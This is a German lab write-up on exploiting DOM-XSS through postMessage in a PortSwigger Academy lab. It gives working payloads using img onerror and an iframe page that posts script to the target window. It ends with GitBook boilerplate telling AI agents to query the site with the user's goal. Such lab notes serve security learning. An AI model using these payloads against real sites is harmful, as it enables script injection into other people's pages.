> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/dom/xss-dom-via-web-messages.md).

# DOM-XSS über Web Messages

Notizen zu DOM-XSS über Web Messages für Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungs-Workflow, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### DOM-XSS mit Webnachrichten

Nutze eine auf XSS basierende DOM-Schwachstelle mit Webnachrichten aus (`postMessage`) um zu bewirken, dass die `print()` Funktion auf der Zielseite aufgerufen wird, indem über den angreifenden Server ein Load gesendet wird.

#### Beobachtetes Verhalten (Quellcode)

Die Seite lauscht auf gesendete Nachrichten und fügt empfangene Inhalte direkt in `#ads` das Element ohne Bereinigung ein:

<pre class="language-html"><code class="lang-html"><strong>&#x3C;script>
</strong>   window.addEventListener('message', function(e) {
   document.getElementById('ads').innerHTML = e.data;
   })
&#x3C;/script>
</code></pre>

Das bedeutet, dass jedes `e.data` Empfangenes wird als HTML gerendert in `#ads`, was die Tür für ein DOM-XSS öffnet, wenn ein Angreifer eine kontrollierte Nachricht senden kann.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4e255c56293fb7bae9dbab13a428bf3fd17547c1%2Fimage%20(3070).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Interaktive Tests (Konsole)

Beispiele für Nachrichten, die von der Konsole des Elternfensters / d

* einfache Textnachricht

```javascript
window.parent.postMessage('This is a test');
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-429f4c132d0eb75347492c18c752075245057e8b%2Fimage%20(3071).png?alt=media" alt=""><figcaption></figcaption></figure>

* HTML-Injektion

```javascript
window.parent.postMessage('<h1>hello</h1>');
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8d1730a94d7071096829b32f0f32006170103a16%2Fimage%20(3072).png?alt=media" alt="" width="490"><figcaption></figcaption></figure>

* Alert-Test (XSS)

```jsx
window.parent.postMessage("<img src='0' onerror=alert(0)>");
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d84d36b99e74e9f1a4b4dfe32e90ec8a05bab60d%2Fimage%20(3073).png?alt=media" alt=""><figcaption></figcaption></figure>

* auslösen `print()` ( Lab-Linse)

```javascript
window.parent.postMessage("<img src='0' onerror=print()>");
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f68c2c3630c353a787797ff5fdf2d819d845dd6f%2Fimage%20(3074).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Iframe-Exploit auf dem Exploit-Server

Beispiel für das auf Ihrem Server gehostete HTML, das die Zielseite in ein iframe lädt und dann die Nutzlast beim Laden des iframes sendet:

```mathml
<iframe
  width="600"
  height="600"
  src="https://0a2300d804f6c0f7810084f10093007d.web-security-academy.net/"
  onload="this.contentWindow.postMessage('This is a test', '*');">
</iframe>
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-49f7c1216c1c946e33a1a7aec7b85211c5bc6d3a%2Fimage%20(3075).png?alt=media" alt=""><figcaption></figcaption></figure>

Um auszulösen `print()` auf der Zielseite senden Sie die Nutzlast mit `img` Element mit `onerror=print()`:

```html
<iframe
  width="600"
  height="600"
  src="https://0a2300d804f6c0f7810084f10093007d.web-security-academy.net/"
  onload="this.contentWindow.postMessage('<img src=0 onerror=print()>', '*');">
</iframe>
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ebf4072e57d42638df89f8e948bd581b7d26a8b5%2Fimage%20(3076).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/dom/xss-dom-via-web-messages.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
